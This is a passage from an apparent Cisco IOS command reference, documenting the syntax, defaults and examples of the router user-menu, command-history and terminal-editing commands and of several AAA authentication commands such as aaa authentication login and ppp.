  6089. Syntax Description
  6090. This command has no arguments or keywords. 
  6091. Default
  6092. This feature is enabled on Cisco 1003, Cisco 1004, and Cisco 1005 routers that have not yet 
  6093. been configured. For Cisco 1003, Cisco 1004, and Cisco 1005 routers that have already been 
  6094. configured, and for all other routers, this feature is disabled. 
  6095. Command Mode
  6096. Global configuration 
  6097. Usage Guidelines
  6098. This command first appeared in Cisco IOS Release 11.2. 
  6099. Example
  6100. The following command configures the router so that you can use the Cisco Web browser 
  6101. interface to issue commands to it: 
  6102. ip http server
  6103. Related Commands
  6104. ip http access-class 
  6105. ip http port 
  6106.  
  6107. [12.1.3] menu (EXEC) 
  6108. Use the menu EXEC command to invoke a user menu. 
  6109. menu name 
  6110. Syntax Description
  6111. name     The configuration name of the menu.     
  6112. Command Mode
  6113. User EXEC mode or privileged EXEC mode 
  6114. Usage Guidelines
  6115. This command first appeared in Cisco IOS Release 10.0. 
  6116. A menu can be invoked at either the user or privileged EXEC level, but if an item in the menu 
  6117. contains a privileged EXEC command, the user must be logged in at the privileged level for the 
  6118. command to succeed. 
  6119. Example
  6120. The following example shows how to invoke the menu named Access1: 
  6121. menu Access1
  6122.  
  6123. [12.1.4] menu (global) 
  6124. Use the menu global configuration command with the appropriate keyword to specify menu-
  6125. display options. Use the no form of the global configuration command to delete a specified, or 
  6126. named, menu from the configuration. 
  6127. menu name [clear-screen | line-mode | single-space | status-line] 
  6128. no menu name 
  6129. Syntax Description
  6130. name     The configuration name of the menu.     
  6131. clear-screen     (Optional) Clears the terminal screen before displaying a menu.     
  6132. line-mode     (Optional) In a menu of nine or fewer items, you ordinarily select a menu item by 
  6133. entering the item number. In line mode, you select a menu entry by entering the item number and 
  6134. pressing Return. Line mode allows you to backspace over the selected number and enter another 
  6135. number before pressing Return to execute the command. This option is activated automatically 
  6136. when more than nine menu items are defined but also can be configured explicitly for menus of 
  6137. nine or fewer items.     
  6138. single-space     (Optional) Displays menu items single-spaced rather than double-spaced. This 
  6139. option is activated automatically when more than nine menu items are defined but also can be 
  6140. configured explicitly for menus of nine or fewer items.     
  6141. status-line     (Optional) Displays a line of status information about the current user.     
  6142. Command Mode
  6143. Global configuration 
  6144. Usage Guidelines
  6145. This command first appeared in Cisco IOS Release 10.0. 
  6146. The clear-screen option uses a terminal-independent mechanism based on termcap entries 
  6147. defined in the router and the terminal type configured for the user's terminal. The clear-screen 
  6148. option allows the same menu to be used on multiple types of terminals instead of having terminal-
  6149. specific strings embedded within menu titles. If the termcap entry does not contain a clear string, 
  6150. the menu system enters 24 newlines, causing all existing text to scroll off the top of the terminal 
  6151. screen. 
  6152. The status-line option displays the status information at the top of the screen before the menu 
  6153. title is displayed. This status line includes the router's host name, the user's line number, and the 
  6154. current terminal type and keymap type (if any). 
  6155. A menu can be activated at the user EXEC level or at the privileged EXEC level, depending upon 
  6156. whether the given menu contains menu entries using privileged commands. 
  6157. When a particular line should always display a menu, that line can be configured with an 
  6158. autocommand configuration command. The menu should not contain any exit paths that leave 
  6159. users in an unfamiliar interface environment. 
  6160. Menus can be run on a per-user basis by defining a similar autocommand for that local 
  6161. username. 
  6162. Examples
  6163. The following example shows how to invoke the menu named Access1: 
  6164. menu Access1
  6165. The following example shows how to display the status information using the status-line option 
  6166. for the menu named Access1: 
  6167. menu Access1 status-line
  6168. Related Commands
  6169. A dagger (å) indicates that the command is documented outside this chapter. 
  6170. menu command å 
  6171. menu text 
  6172. menu title 
  6173. resume å 
  6174.  
  6175.  
  6176. [12.1.5] menu command 
  6177. Use the menu command global configuration command to specify underlying commands for 
  6178. user interface menus. 
  6179. menu name command number 
  6180. Syntax Description
  6181. name     The configuration name of the menu. You can specify a maximum of 20 characters.     
  6182. number     The selection number associated with the menu entry. This number is displayed 
  6183. to the left of the menu entry. You can specify a maximum of 18 menu entries. When the tenth 
  6184. item is added to the menu, the line-mode and single-space options are activated automatically.     
  6185. Command Mode
  6186. Global configuration 
  6187. Usage Guidelines
  6188. This command first appeared in Cisco IOS Release 10.0. 
  6189. The menu command and menu text commands define a menu entry. These commands must 
  6190. use the same menu name and menu selection number. 
  6191. The menu command has a special option, menu-exit, that is available only within menus. It is 
  6192. used to exit a submenu and return to the previous menu level or exit the menu altogether and 
  6193. return to the EXEC command prompt. 
  6194. You can create submenus that are opened by selecting a higher-level menu entry. Use the menu 
  6195. command to invoke a menu as the command in a line specifying a higher-level menu entry. 
  6196.  
  6197. Note If you nest too many levels of menus, the system prints an error message on the terminal 
  6198. and returns to the previous menu level. 
  6199.  
  6200. When a menu allows connections (their normal use), the command for an entry activating the 
  6201. connection should contain a resume command, or the line should be configured to prevent users 
  6202. from escaping their sessions with the escape-char none command. Otherwise, when they 
  6203. escape from a connection and return to the menu, there will be no way to resume the session and 
  6204. it will sit idle until the user logs off. 
  6205. Specifying the resume command as the action that is performed for a selected menu entry 
  6206. permits a user to resume a named connection or connect using the specified name, if there is no 
  6207. active connection by that name. As an option, you can also supply the connect string needed to 
  6208. connect initially. When you do not supply this connect string, the command uses the specified 
  6209. connection name. 
  6210. You can also use the resume/next command, which resumes the next connection in the user's 
  6211. list of connections. This function allows you to create a single menu entry that steps through all of 
  6212. the user's connections. 
  6213. Refer to the Access Services Configuration Guide for more information on the menu command. 
  6214. Example
  6215. The following example shows how to specify the commands to be executed when a user enters 
  6216. the selection number associated with the menu entry for the menu named Access1: 
  6217. menu Access1 command 1 tn3270 vms.cisco.com
  6218. menu Access1 command 2 rlogin unix.cisco.com
  6219. menu Access1 command 3 menu-exit
  6220. Related Commands
  6221. A dagger (å) indicates that the command is documented outside this chapter. 
  6222. menu (global) å 
  6223. menu text 
  6224. menu title 
  6225. resume å 
  6226.  
  6227.  
  6228. [12.1.6] menu text 
  6229. Use the menu text global configuration command to specify the text of a menu item in a user 
  6230. interface menu. 
  6231. menu name text number 
  6232. Syntax Description
  6233. name     The configuration name of the menu. You can specify a maximum of 20 characters.     
  6234. number     The selection number associated with the menu item. This number is displayed 
  6235. to the left of the menu item. You can specify a maximum of 18 menu items. When the tenth item 
  6236. is added to the menu, the line-mode and single-space options are activated automatically.     
  6237. Command Mode
  6238. Global configuration 
  6239. Usage Guidelines
  6240. This command first appeared in Cisco IOS Release 10.0. 
  6241. The menu text command and the menu command define a menu item. These commands must 
  6242. use the same menu name and menu selection number. 
  6243. You can specify a maximum of 18 items in a menu. 
  6244. Example
  6245. The following example shows how to specify the descriptive text for the three entries in the menu 
  6246. Access1: 
  6247. menu Access1 text 1 IBM Information Systems
  6248. menu Access1 text 2 UNIX Internet Access
  6249. menu Access1 text 3 Exit menu system
  6250. Related Commands
  6251. A dagger (å) indicates that the command is documented outside this chapter. 
  6252. menu (global) 
  6253. menu command 
  6254. menu title 
  6255. resume å 
  6256.  
  6257.  
  6258. [12.1.7] menu title 
  6259. Use the menu title global configuration command to create a title, or banner, for a user menu. 
  6260. menu name title delimiter 
  6261. Syntax Description
  6262. name     The configuration name of the menu. You can specify a maximum of 20 characters.     
  6263. delimiter     Characters that mark the beginning and end of a title. Text delimiters are 
  6264. characters that do not ordinarily appear within the text of a title, such as slash ( / ), double quote 
  6265. ("), and tilde ( ~ ). Ctrl-C is reserved for special use and should not be used in the text of the title.     
  6266. Command Mode
  6267. Global configuration 
  6268. Usage Guidelines
  6269. This command first appeared in Cisco IOS Release 10.0. 
  6270. The menu title command must use the same menu name used with the menu text and menu 
  6271. command commands used to create a menu. 
  6272. You can position the title of the menu horizontally by preceding the title text with blank characters. 
  6273. You can also add lines of space above and below the title by pressing Return. 
  6274. Follow the title keyword with one or more blank characters and a delimiting character of your 
  6275. choice. Then enter one or more lines of text, ending the title with the same delimiting character. 
  6276. You cannot use the delimiting character within the text of the message. 
  6277. When you are configuring from a terminal and are attempting to include special control 
  6278. characters, such as a screen-clearing string, you must use Ctrl-V before the special control 
  6279. characters so that they are accepted as part of the title string. The string ^[[H^[[J is an escape 
  6280. string used by many VT100-compatible terminals to clear the screen. To use a special string, you 
  6281. must enter Ctrl-V before each escape character. 
  6282. You also can use the clear-screen option of the menu command to clear the screen before 
  6283. displaying menus and submenus, instead of embedding a terminal-specific string in the menu 
  6284. title. The clear-screen option allows the same menu to be used on different types of terminals. 
  6285. Example
  6286. The following example specifies the title that will be displayed when the menu Access1 is 
  6287. invoked: 
  6288. cs101(config)# menu Access1 title /^[[H^[[J
  6289.                Welcome to Access1 Internet Services
  6290.                
  6291.                   Type a number to select an option;
  6292.                            Type 9 to exit the menu.
  6293. Related Commands
  6294. A dagger (å) indicates that the command is documented outside this chapter. 
  6295. menu (global) 
  6296. menu command 
  6297. menu text 
  6298. resume å 
  6299.  
  6300.  
  6301. [12.1.8] show history 
  6302. To list the commands you have entered in the current EXEC session, use the show history 
  6303. EXEC command. 
  6304. show history 
  6305. Syntax Description
  6306. This command has no arguments or keywords. 
  6307. Command Mode
  6308. EXEC 
  6309. Usage Guidelines
  6310. This command first appeared in Cisco IOS Release 10.0. 
  6311. The command history feature provides a record of EXEC commands you have entered. The 
  6312. number of commands that the history buffer will record is determined by the history size line 
  6313. configuration command or the terminal history size EXEC command. 
  6314.  
  6315. Key     Function     
  6316. Ctrl-P or Up Arrow     Recalls commands in the history buffer in a backward sequence, 
  6317. beginning with the most recent command. Repeat the key sequence to recall successively older 
  6318. commands.     
  6319. Ctrl-N or Down Arrow     Returns to more recent commands in the history buffer after recalling 
  6320. commands with Ctrl-P or the Up Arrow. Repeat the key sequence to recall successively more 
  6321. recent commands.     
  6322. Sample Display
  6323. The following is sample output from the show history command, which lists the commands the 
  6324. user has entered in EXEC mode for this session: 
  6325. Router# show history
  6326.   help
  6327.   where
  6328.   show hosts
  6329.   show history
  6330. Router# 
  6331. Related Commands
  6332. A dagger (å) indicates that the command is documented outside this chapter. 
  6333. history size 
  6334. terminal history sizeå 
  6335.  
  6336.  
  6337. [12.1.9] terminal editing 
  6338. To enable the enhanced editing mode on the local line, use the terminal editing EXEC 
  6339. command. To disable the enhanced editing mode on the current line, use the no form of this 
  6340. command. 
  6341. terminal editing 
  6342. terminal no editing 
  6343. Syntax Description
  6344. This command has no arguments or keywords. 
  6345. Default
  6346. Enabled 
  6347. Command Mode
  6348. EXEC 
  6349. Usage Guidelines
  6350. This command first appeared in Cisco IOS Release 10.0. 
  6351.  
  6352. Keys     Function     
  6353. Tab     Completes a partial command name entry. When you enter a unique set of characters 
  6354. and press the Tab key, the system completes the command name. If you enter a set of 
  6355. characters that could indicate more than one command, the system beeps to indicate an error. 
  6356. Enter a question mark (?) immediately following the partial command (no space). The system 
  6357. provides a list of commands that begin with that string.     
  6358. Delete or Backspace     Erases the character to the left of the cursor.     
  6359. Return     At the command line, pressing the Return key performs the function of processing, or 
  6360. carrying out, a command. At the " ---More--- " prompt on a terminal screen, pressing the Return 
  6361. key scrolls down a line.     
  6362. Space Bar     Scrolls down a page on the terminal screen. Press the space bar when you see 
  6363. the line 
  6364. " ---More--- " on the screen to display the next screen.     
  6365. Left arrow Moves the cursor one character to the left. When you enter a command that extends 
  6366. beyond a single line, you can continue to press the left arrow key at any time to scroll back 
  6367. toward the system prompt and verify the beginning of the command entry.     
  6368. Right arrow1     Moves the cursor one character to the right.     
  6369. Up arrow1 or Ctrl-P     Recalls commands in the history buffer, beginning with the most recent 
  6370. command. Repeat the key sequence to recall successively older commands.     
  6371. Down arrow1 or 
  6372. Ctrl-N     Return to more recent commands in the history buffer after recalling commands with the 
  6373. Up arrow or Ctrl-P. Repeat the key sequence to recall successively more recent commands.     
  6374. Ctrl-A     Moves the cursor to the beginning of the line.     
  6375. Ctrl-B     Moves the cursor back one character.     
  6376. Ctrl-D     Deletes the character at the cursor.     
  6377. Ctrl-E     Moves the cursor to the end of the command line.     
  6378. Ctrl-F     Moves the cursor forward one character.     
  6379. Ctrl-K     Deletes all characters from the cursor to the end of the command line.     
  6380. Ctrl-L and Ctrl-R     Redisplays the system prompt and command line.     
  6381. Ctrl-T     Transposes the character to the left of the cursor with the character located at the cursor. 
  6382.     
  6383. Ctrl-U and Ctrl-X     Deletes all characters from the cursor back to the beginning of the 
  6384. command line.     
  6385. Ctrl-V and Esc Q     Inserts a code to indicate to the system that the key stroke immediately 
  6386. following should be treated as a command entry, not as an editing key.     
  6387. Ctrl-W     Deletes the word to the left of the cursor.     
  6388. Ctrl-Y     Recalls the most recent entry in the delete buffer. The delete buffer contains the last ten 
  6389. items you have deleted or cut. Ctrl-Y can be used in conjunction with Esc Y.     
  6390. Ctrl-Z     Ends configuration mode and returns you to the EXEC prompt.     
  6391. Esc B     Moves the cursor back one word.     
  6392. Esc C     Capitalizes the word at the cursor.     
  6393. Esc D     Deletes from the cursor to the end of the word.     
  6394. Esc F     Moves the cursor forward one word.     
  6395. Esc L     Changes the word at the cursor to lowercase.     
  6396. Esc U     Capitalizes from the cursor to the end of the word.     
  6397. Esc Y     Recalls the next buffer entry. The buffer contains the last ten items you have deleted. 
  6398. Press Ctrl-Y first to recall the most recent entry. Then press Esc Y up to nine times to recall the 
  6399. remaining entries in the buffer. If you bypass an entry, continue to press Esc Y to cycle back to it.     
  6400.  
  6401.  
  6402. Key     Function     
  6403. Delete or Backspace     Erases the character to the left of the cursor.     
  6404. Ctrl-W     Erases a word.     
  6405. Ctrl-U     Erases a line.     
  6406. Ctrl-R     Redisplays a line.     
  6407. Ctrl-Z     Ends configuration mode and returns to the EXEC prompt.     
  6408. Return     Executes single-line commands.     
  6409. Example
  6410. In the following example, enhanced mode editing is reenabled for the current terminal session: 
  6411. terminal editing
  6412. Related Command
  6413. editing 
  6414.  
  6415. [12.2.0] terminal full-help (EXEC) 
  6416. To get help for the full set of user-level commands, use the terminal full-help EXEC command. 
  6417. terminal full-help 
  6418. Syntax Description
  6419. This command has no arguments or keywords. 
  6420. Default
  6421. Disabled 
  6422. Command Mode
  6423. EXEC 
  6424. Usage Guidelines
  6425. This command first appeared in Cisco IOS Release 10.0. 
  6426. The terminal full-help command enables (or disables) a user to see all of the help messages 
  6427. available from the terminal. It is used with the show ? command. 
  6428. Example
  6429. The following example is output for show ? with terminal full-help enabled: 
  6430. Router> terminal full-help
  6431. Router> show ?
  6432.                                  
  6433. access-lists  List access lists
  6434. appletalk     AppleTalk information
  6435. arap          Show Appletalk Remote Access statistics
  6436. arp           ARP table
  6437. async         Information on terminal lines used as router interfaces...
  6438. Related Commands
  6439. full-help 
  6440. help 
  6441.  
  6442. [12.2.1] terminal history 
  6443. To enable the command history feature for the current terminal session or change the size of the 
  6444. command history buffer for the current terminal session, use the terminal history EXEC 
  6445. command. To disable the command history feature or reset the command history buffer to its 
  6446. default size, use the no form of this command. 
  6447. terminal history [size number-of-lines] 
  6448. terminal no history [size] 
  6449. Syntax Description
  6450. size     (Optional) Sets command history buffer size.     
  6451. number-of-lines     (Optional) Specifies the number of command lines that the system will 
  6452. record in its history buffer. The range is 0 to 256.     
  6453. Default
  6454. 10 lines 
  6455. Command Mode
  6456. EXEC 
  6457. Usage Guidelines
  6458. This command first appeared in Cisco IOS Release 10.0. 
  6459. The history command without the size keyword and argument enables the command history 
  6460. feature with the last buffer size specified or the default size. The no history command without the 
  6461. size keyword disables the command history feature. The no history size command resets the 
  6462. buffer size to the default of 10 command lines. 
  6463. The history command provides a record of EXEC commands you have entered. This feature is 
  6464. particularly useful to recall long or complex commands or entries, including access lists. 
  6465.  
  6466. Key     Function     
  6467. Ctrl-P or up arrow Recalls commands in the history buffer in a backward sequence, beginning 
  6468. with the most recent command. Repeat the key sequence to recall successively older commands. 
  6469.     
  6470. Ctrl-N or down arrow1     Returns to more recent commands in the history buffer after recalling 
  6471. commands with Ctrl-P or the up arrow. Repeat the key sequence to recall successively more 
  6472. recent commands.     
  6473.  
  6474. 1 The arrow keys function only with ANSI-compatible terminals such as VT100s.
  6475. Example
  6476. In the following example, the number of command lines recorded is set to 15 for the local line: 
  6477. terminal history size 15
  6478. Related Commands
  6479. history 
  6480. show history 
  6481.  
  6482. [12.2.2] Network Access Security Commands
  6483. This chapter describes the commands used to manage security on the network. 
  6484.  
  6485. [12.2.3] aaa authentication arap 
  6486. To enable an Authentication Authorization and Accounting (AAA) authentication method for 
  6487. AppleTalk Remote Access (ARA) users using TACACS+, use the aaa authentication arap 
  6488. global configuration command. Use the no form of this command to disable this authentication. 
  6489. aaa authentication arap {default | list-name} method1 [...[method4]] 
  6490. no aaa authentication arap {default | list-name} method1 [...[method4]] 
  6491. Syntax Description
  6492. default     Uses the listed methods that follow this argument as the default list of methods when a 
  6493. user logs in.     
  6494. list-name     Character string used to name the following list of authentication methods tried 
  6495. when a user logs in.     
  6496. method     One of the keywords described in Table 1.     
  6497. Default
  6498. If the default list is not set, only the local user database is checked. This version has the same 
  6499. effect as the following command: 
  6500. aaa authentication arap default local
  6501. Command Mode
  6502. Global configuration 
  6503. Usage Guidelines
  6504. This command first appeared in Cisco IOS Release 10.3. 
  6505. The list names and default that you set with the aaa authentication arap command are used 
  6506. with the arap authentication command. These lists can contain up to four authentication 
  6507. methods that are used when a user tries to log in with ARA. Note that ARAP guest logins are 
  6508. disabled by default when you enable AAA/TACACS+. To allow guest logins, you must use either 
  6509. the guest or auth-guest method listed in Table 1. You can only use one of these methods; they 
  6510. are mutually exclusive. 
  6511. Create a list by entering the aaa authentication arap list-name method command, where list-
  6512. name is any character string used to name this list (such as MIS-access.) The method argument 
  6513. identifies the list of methods the authentication algorithm tries in the given sequence. You can 
  6514. enter up to four methods. 
  6515.  
  6516. Use the show running-config command to view lists of authentication methods. 
  6517. Table 1 AAA Authentication ARAP Methods 
  6518. Keyword     Description     
  6519. guest     Allows guest logins. This method must be the first method listed, but it can be followed by 
  6520. other methods if it does not succeed.     
  6521. auth-guest     Allows guest logins only if the user has already logged in to EXEC. This method 
  6522. must be the first method listed, but can be followed by other methods if it does not succeed.     
  6523. line     Uses the line password for authentication.     
  6524. local     Uses the local username database for authentication.     
  6525. tacacs+     Uses TACACS+ authentication.     
  6526. radius     Uses RADIUS authentication.     
  6527.  
  6528. Note This command cannot be used with TACACS or extended TACACS. 
  6529.  
  6530. Examples
  6531. The following example creates a list called MIS-access, which first tries TACACS+ authentication 
  6532. and then none: 
  6533. aaa authentication arap MIS-access tacacs+ none
  6534. The following example creates the same list, but sets it as the default list that is used for all ARA 
  6535. protocol authentications if no other list is specified: 
  6536. aaa authentication arap default tacacs+ none
  6537. Related Commands
  6538. aaa authentication local-override 
  6539. aaa new-model 
  6540. aaa new-model 
  6541.  
  6542. [12.2.4] aaa authentication enable default 
  6543. To enable AAA authentication to determine if a user can access the privileged command level, 
  6544. use the aaa authentication enable default global configuration command. Use the no form of 
  6545. this command to disable this authorization method. 
  6546. aaa authentication enable default method1 [...[method4]] 
  6547. no aaa authentication enable default method1 [...[method4]] 
  6548. Syntax Description
  6549. method     At least one and up to four of the keywords described in Table 2.     
  6550. Default
  6551. If the default list is not set, only the enable password is checked. This version has the same 
  6552. effect as the following command: 
  6553. aaa authentication enable default enable
  6554. On the console, the enable password is used if it exists. If no password is set, the process will 
  6555. succeed anyway. 
  6556. Command Mode
  6557. Global configuration 
  6558. Usage Guidelines
  6559. This command first appeared in Cisco IOS Release 10.3. 
  6560. Use the aaa authentication enable default command to create a series of authentication 
  6561. methods that are used to determine whether a user can access the privileged command level. 
  6562. You can specify up to four authentication methods. Method keywords are described in Table 2. 
  6563. The additional methods of authentication are used only if the previous method returns an error, 
  6564. not if it fails. To specify that the authentication should succeed even if all methods return an error, 
  6565. specify none as the final method in the command line. 
  6566. If a default authentication routine is not set for a function, the default is none and no 
  6567. authentication is performed. Use the show running-config command to view currently 
  6568. configured lists of authentication methods. 
  6569. Table 2 AAA Authentication Enable Default Methods 
  6570. Keyword     Description     
  6571. enable     Uses the enable password for authentication.     
  6572. line     Uses the line password for authentication.     
  6573. none     Uses no authentication.     
  6574. tacacs+     Uses TACACS+ authentication.     
  6575. radius     Uses RADIUS authentication.     
  6576.  
  6577. Note This command cannot be used with TACACS or extended TACACS. 
  6578.  
  6579. Example
  6580. The following example creates an authentication list that first tries to contact a TACACS+ server. 
  6581. If no server can be found, AAA tries to use the enable password. If this attempt also returns an 
  6582. error (because no enable password is configured on the server), the user is allowed access with 
  6583. no authentication. 
  6584. aaa authentication enable default tacacs+ enable none
  6585. Related Commands
  6586. A dagger (å) indicates that the command is documented outside this chapter. 
  6587. aaa authentication local-override 
  6588. aaa authorization 
  6589. aaa new-model 
  6590. enable password å 
  6591.  
  6592.  
  6593. [12.2.5] aaa authentication local-override 
  6594. To configure the Cisco IOS software to check the local user database for authentication before 
  6595. attempting another form of authentication, use the aaa authentication local-override global 
  6596. configuration command. Use the no form of this command to disable the override. 
  6597. aaa authentication local-override 
  6598. no aaa authentication local-override 
  6599. Syntax Description
  6600. This command has no arguments or keywords. 
  6601. Default
  6602. Override is disabled. 
  6603. Command Mode
  6604. Global configuration 
  6605. Usage Guidelines
  6606. This command first appeared in Cisco IOS Release 10.3. 
  6607. This command is useful when you want to configure an override to the normal authentication 
  6608. process for certain personnel such as system administrators. 
  6609. When this override is set, the user is always prompted for the username. The system then checks 
  6610. to see if the entered username corresponds to a local account. If the username does not 
  6611. correspond to one in the local database, login proceeds with the methods configured with other 
  6612. aaa commands (such as aaa authentication login). Note that when using this command 
  6613. Username: is fixed as the first prompt. 
  6614. Example
  6615. The following example enables AAA authentication override: 
  6616. aaa authentication local-override
  6617. Related Commands
  6618. aaa authentication arap 
  6619. aaa authentication enable default 
  6620. aaa authentication login 
  6621. aaa authentication ppp 
  6622. aaa new-model 
  6623.  
  6624. [12.2.6] aaa authentication login 
  6625. To set AAA authentication at login, use the aaa authentication login global configuration 
  6626. command. Use the no form of this command to disable AAA authentication. 
  6627. aaa authentication login {default | list-name} method1 [...[method4]] 
  6628. no aaa authentication login {default | list-name} method1 [...[method4]] 
  6629. Syntax Description
  6630. default     Uses the listed authentication methods that follow this argument as the default list of 
  6631. methods when a user logs in.     
  6632. list-name     Character string used to name the following list of authentication methods 
  6633. activated when a user logs in.     
  6634. method     At least one and up to four of the keywords described in Table 3.     
  6635. Default
  6636. If the default list is not set, only the local user database is checked. This version has the same 
  6637. effect as the following command: 
  6638. aaa authentication login default local
  6639.  
  6640. Note On the console, login will succeed without any authentication checks if default is not set. 
  6641.  
  6642. Command Mode
  6643. Global configuration 
  6644. Usage Guidelines
  6645. This command first appeared in Cisco IOS Release 10.3. 
  6646. The default and optional list names that you create with the aaa authentication login command 
  6647. are used with the login authentication command. 
  6648. Create a list by entering the aaa authentication list-name method command for a particular 
  6649. protocol, where list-name is any character string used to name this list (such as MIS-access). The 
  6650. method argument identifies the list of methods that the authentication algorithm tries, in the given 
  6651. sequence. Method keywords are described in Table 3. 
  6652. To create a default list that is used if no list is assigned to a line, use the login authentication 
  6653. command with the default argument followed by the methods you want to use in default 
  6654. situations. 
  6655. The additional methods of authentication are used only if the previous method returns an error, 
  6656. not if it fails. To ensure that the authentication succeeds even if all methods return an error, 
  6657. specify none as the final method in the command line. 
  6658. If authentication is not specifically set for a line, the default is to deny access and no 
  6659. authentication is performed. Use the show running-config command to display currently 
  6660. configured lists of authentication methods. 
  6661. Table 3 AAA Authentication Login Methods 
  6662. Keyword     Description     
  6663. enable     Uses the enable password for authentication.     
  6664. krb5     Uses Kerberos 5 for authentication.     
  6665. line     Uses the line password for authentication.     
  6666. local     Uses the local username database for authentication.     
  6667. none     Uses no authentication.     
  6668. radius     Uses RADIUS authentication.     
  6669. tacacs+     Uses TACACS+ authentication.     
  6670. krb5-telnet     Uses Kerberos 5 Telnet authentication protocol when using Telnet to connect to 
  6671. the router.     
  6672.  
  6673. Note This command cannot be used with TACACS or extended TACACS. 
  6674.  
  6675. Examples
  6676. The following example creates an AAA authentication list called MIS-access. This authentication 
  6677. first tries to contact a TACACS+ server. If no server is found, TACACS+ returns an error and AAA 
  6678. tries to use the enable password. If this attempt also returns an error (because no enable 
  6679. password is configured on the server), the user is allowed access with no authentication. 
  6680. aaa authentication login MIS-access tacacs+ enable none
  6681. The following example creates the same list, but it sets it as the default list that is used for all 
  6682. login authentications if no other list is specified: 
  6683. aaa authentication login default tacacs+ enable none
  6684. The following example sets authentication at login to use the Kerberos 5 Telnet authentication 
  6685. protocol when using Telnet to connect to the router: 
  6686. aaa authentication login default KRB5-TELNET krb5
  6687. Related Commands
  6688. A dagger (å) indicates that this command is documented outside this chapter. 
  6689. aaa authentication local-override 
  6690. aaa new-model 
  6691. login authentication å 
  6692.  
  6693.  
  6694. [12.2.7] aaa authentication nasi 
  6695. To specify AAA authentication for Netware Asynchronous Services Interface (NASI) clients 
  6696. connecting through the access server, use the aaa authentication nasi global configuration 
  6697. command. Use the no form of this command to disable authentication for NASI clients. 
  6698. aaa authentication nasi {default | list-name} method1 [...[method4]] 
  6699. no aaa authentication nasi{default | list-name} method1 [...[method4]] 
  6700. Syntax Description 
  6701. default     Makes the listed authentication methods that follow this argument the default list of 
  6702. methods used when a user logs in.     
  6703. list-name 
  6704.     Character string used to name the following list of authentication methods activated when 
  6705. a user logs in.     
  6706. methods     At least one and up to four of the methods described in Table 4.     
  6707. Default
  6708. If the default list is not set, only the local user database is selected. This setting has the same 
  6709. effect as the following command: 
  6710. aaa authentication nasi default local
  6711. Command Mode
  6712. Global configuration 
  6713. Usage Guidelines
  6714. This command first appeared in Cisco IOS Release 11.1. 
  6715. The default and optional list names that you create with the aaa authentication nasi command 
  6716. are used with the nasi authentication command. 
  6717. Create a list by entering the aaa authentication nasi command, where list-name is any character 
  6718. string that names this list (such as MIS-access). The method argument identifies the list of 
  6719. methods the authentication algorithm tries in the given sequence. 
  6720.  
  6721. To create a default list that is used if no list is assigned to a line with the nasi authentication 
  6722. command, use the default argument followed by the methods that you want to use in default 
  6723. situations. 
  6724. The remaining methods of authentication are used only if the previous method returns an error, 
  6725. not if it fails. To ensure that the authentication succeeds even if all methods return an error, 
  6726. specify none as the final method in the command line. 
  6727. If authentication is not specifically set for a line, the default is to deny access and no 
  6728. authentication is performed. Use the show running-config command to displays currently 
  6729. configured lists of authentication methods. 
  6730. Table 4 AAA Authentication NASI Methods 
  6731. Keyword     Description     
  6732. enable     Uses the enable password for authentication.     
  6733. line     Uses the line password for authentication.     
  6734. local     Uses the local username database for authentication.     
  6735. none     Uses no authentication.     
  6736. tacacs+     Uses TACACS+ authentication.     
  6737.  
  6738. Note This command cannot be used with TACACS or extended TACACS. 
  6739.  
  6740. Examples
  6741. The following example creates an AAA authentication list called list1. This authentication first tries 
  6742. to contact a TACACS+ server. If no server is found, TACACS+ returns an error and AAA tries to 
  6743. use the enable password. If this attempt also returns an error (because no enable password is 
  6744. configured on the server), the user is allowed access with no authentication. 
  6745. aaa authentication nasi list1 tacacs+ enable none
  6746. The following example creates the same list, but sets it as the default list that is used for all login 
  6747. authentications if no other list is specified: 
  6748. aaa authentication nasi default tacacs+ enable none
  6749. Related Commands 
  6750. A dagger (å) indicates that the command is documented outside this chapter. 
  6751. ipx nasi-server enable å 
  6752. nasi authentication 
  6753. show ipx nasi connections å 
  6754. show ipx spx-protocol å 
  6755.  
  6756.  
  6757. [12.2.8] aaa authentication password-prompt 
  6758. To change the text displayed when users are prompted for a password, use the aaa 
  6759. authentication password-prompt global configuration command. Use the no form of this 
  6760. command to return to the default password prompt text. 
  6761. aaa authentication password-prompt {text-string} 
  6762. no aaa authentication password-prompt {text-string} 
  6763. Syntax Description
  6764. text-string     String of text that will be displayed when the user is prompted to enter a 
  6765. password. If this text-string contains spaces or unusual characters, it must be enclosed in double-
  6766. quotes (for example, "Enter your password:").     
  6767. Default
  6768. This command is disabled by default. 
  6769. Command Mode
  6770. Global configuration 
  6771. Usage Guidelines
  6772. This command first appeared in Cisco IOS Release 11.0. 
  6773. Use the aaa authentication password-prompt command to change the default text that the 
  6774. Cisco IOS software displays when prompting a user to enter a password. This command changes 
  6775. the password prompt for the enable password as well as for login passwords that are not supplied 
  6776. by remote security servers. The no form of this command returns the password prompt to the 
  6777. default value: 
  6778. Password:
  6779. The aaa authentication password-prompt command does not change any dialog that is 
  6780. supplied by a remote TACACS+ or RADIUS server. 
  6781. Example
  6782. The following example changes the text for the password prompt: 
  6783. aaa authentication password-prompt "Enter your password now:"
  6784. Related Commands
  6785. A dagger (å) indicates that the command is documented outside this chapter. 
  6786. aaa authentication username prompt 
  6787. aaa new-model 
  6788. enable password å 
  6789.  
  6790.  
  6791. [12.2.9] aaa authentication ppp 
  6792. To specify one or more AAA authentication methods for use on serial interfaces running Point-to-
  6793. Point (PPP) and TACACS+, use the aaa authentication ppp global configuration command. Use 
  6794. the no form of this command to disable authentication. 
  6795. aaa authentication ppp {default | list-name} method1 [...[method4]] 
  6796. no aaa authentication ppp {default | list-name} method1 [...[method4]] 
  6797. Syntax Description
  6798. default     Uses the listed authentication methods that follow this argument as the default list of 
  6799. methods when a user logs in.     
  6800. list-name     Character string used to name the following list of authentication methods tried 
  6801. when a user logs in.     
  6802. method     
  6803.     
  6804. Default
  6805. If the default list is not set, only the local user database is checked. This command has the same 
  6806. effect as the following command: 
  6807. aaa authentication ppp default local
  6808. Command Mode
  6809. Global configuration 
  6810. Usage Guidelines 
  6811. This command first appeared in Cisco IOS Release 10.3. 
  6812. The lists that you create with the aaa authentication ppp command are used with the ppp 
  6813. authentication command. These lists contain up to four authentication methods that are used 
  6814. when a user tries to log in to the serial interface. 
  6815. Create a list by entering the aaa authentication ppp list-name method command, where list-
  6816. name is any character string used to name this list (such as MIS-access). The method argument 
  6817. identifies the list of methods that the authentication algorithm tries in the given sequence. You 
  6818. can enter up to four methods. Method keywords are described in Table 5. 
  6819. The additional methods of authentication are only used if the previous method returns an error, 
  6820. not if it fails. Specify none as the final method in the command line to have authentication 
  6821. succeed even if all methods return an error. 
